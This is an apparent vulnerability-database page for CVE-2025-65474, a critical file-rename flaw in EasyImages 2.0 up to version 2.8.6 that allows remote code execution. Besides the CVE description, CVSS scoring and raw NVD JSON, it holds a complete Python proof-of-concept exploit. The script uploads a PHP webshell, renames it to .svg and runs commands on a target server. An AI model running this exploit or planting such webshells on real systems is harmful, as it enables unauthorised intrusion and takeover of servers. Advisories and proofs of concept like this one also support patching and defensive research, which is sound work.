Security Vulnerability Report
中文
CVE-2025-65474 CVSS 9.8 CRITICAL

CVE-2025-65474

Published: 2025-12-11 17:15:58
Last Modified: 2025-12-19 19:46:51

Description

An arbitrary file rename vulnerability in the /admin/manager.php component of EasyImages 2.0 v2.8.6 and below allows attackers to execute arbitrary code via renaming a PHP file to a SVG format.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:easyimages2.0_project:easyimages2.0:*:*:*:*:*:*:*:* - VULNERABLE
EasyImages 2.0 <= 2.8.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-65474 PoC - EasyImages 2.0 Arbitrary File Rename to RCE # This PoC demonstrates how to exploit the arbitrary file rename vulnerability import requests import sys TARGET_URL = "http://target.com/EasyImages" # Change to target URL def exploit_cve_2025_65474(): """ Exploitation steps: 1. Upload malicious PHP file 2. Rename the PHP file to SVG format 3. Execute the renamed PHP file for RCE """ session = requests.Session() # Step 1: Upload malicious PHP file # PHP webshell payload php_payload = "<?php system($_GET['cmd']); ?>" files = { 'file': ('webshell.php', php_payload, 'application/x-httpd-php') } upload_url = f"{TARGET_URL}/admin/manager.php?action=upload" try: upload_response = session.post(upload_url, files=files, timeout=10) print(f"[+] Upload attempt completed") except requests.RequestException as e: print(f"[-] Upload failed: {e}") return False # Step 2: Rename PHP file to SVG # Intercept the rename request and change extension from .php to .svg rename_url = f"{TARGET_URL}/admin/manager.php" # Original filename that was uploaded original_filename = "webshell.php" # New filename with .svg extension new_filename = "webshell.svg" rename_data = { 'action': 'rename', 'old_name': original_filename, 'new_name': new_filename } try: rename_response = session.post(rename_url, data=rename_data, timeout=10) if rename_response.status_code == 200: print(f"[+] File renamed successfully to {new_filename}") except requests.RequestException as e: print(f"[-] Rename failed: {e}") return False # Step 3: Execute the renamed PHP file # Access the SVG file which will be parsed as PHP webshell_url = f"{TARGET_URL}/uploads/{new_filename}" try: # Test command execution exec_response = session.get(f"{webshell_url}?cmd=whoami", timeout=10) if exec_response.status_code == 200: print(f"[+] RCE Successful! Command output: {exec_response.text}") print(f"[+] Webshell URL: {webshell_url}") return True except requests.RequestException as e: print(f"[-] Execution failed: {e}") return False return False if __name__ == "__main__": print("CVE-2025-65474 EasyImages 2.0 Arbitrary File Rename PoC") print("=" * 60) exploit_cve_2025_65474()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65474", "sourceIdentifier": "[email protected]", "published": "2025-12-11T17:15:58.127", "lastModified": "2025-12-19T19:46:51.357", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary file rename vulnerability in the /admin/manager.php component of EasyImages 2.0 v2.8.6 and below allows attackers to execute arbitrary code via renaming a PHP file to a SVG format."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-706"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:easyimages2.0_project:easyimages2.0:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.8.6", "matchCriteriaId": "16A66E44-451D-43B8-970B-2CB98E4E11CC"}]}]}], "references": [{"url": "https://congsec.cn?id=20251103234511-9418dk9", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://gist.github.com/CongSec/3cf968621f71a7da35dcc9b8f0b29bb2", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}